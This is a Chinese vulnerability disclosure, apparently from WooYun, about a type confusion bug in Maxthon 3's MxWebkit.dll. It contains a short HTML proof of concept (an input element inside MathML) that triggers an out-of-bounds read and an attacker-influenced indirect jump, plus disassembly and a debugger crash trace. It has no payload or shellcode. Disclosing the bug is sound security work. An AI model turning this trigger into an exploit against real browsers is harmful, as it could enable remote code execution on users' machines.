傲游3 类型引用错误漏洞

简要描述:

maxthpn 3.3.3.1000存在一个类型引用的错误,这将导致内存访问越界,数据引用到其他内存结构当中.如果精心构造数据,可能导致远程代码执行.

详细说明:

DLL: MxWebkit.dll (ver 1.1.4.258)
构造如下html文件:
<html>
<math xmlns=”http://www.w3.org/1998/Math/MathML”>
<input></input>
</math>
</html>
使用傲游打开该html文件,将导致sub_2433900函数的调用.
sub_2433900
{
loc_24339C0:
push ebx
lea eax, [esp+34h+var_10]
push eax
lea ecx, [esp+38h+var_24]
call sub_240EA70;获取一个结构指针,存入var_10+4处.该结构大小为0x38字节

02433B06:
mov ecx, [esp+30h+var_20]
call sub_1FD49A0;访问前面获取的指针
mov ecx, [ecx+84h]
mov eax, [ecx]
mov edx, [eax+24h]
jmp edx
正确执行sub_1FD49A0函数需要结构具备0x88字节大小.
这里使用了0x38字节的数据结构,[ecx+84h]的访问将导致内存访问越界.
在多次实际测试当中,由于内存数据的不确定性,程序可能会产生内存访问错误(崩溃在mov指令),也可能执行jmp edx.

漏洞证明:

MxWebkit!CreateCookieObj+0x29a5a6:
668049a6 8b01 mov eax,dword ptr [ecx] ds:0023:feeefeee=????????
3:020> u
MxWebkit!CreateCookieObj+0x29a5a6:
668049a6 8b01 mov eax,dword ptr [ecx]
668049a8 8b5024 mov edx,dword ptr [eax+24h]
668049ab ffe2 jmp edx

版权声明:转载请注明来源 team509@乌云

评论关闭。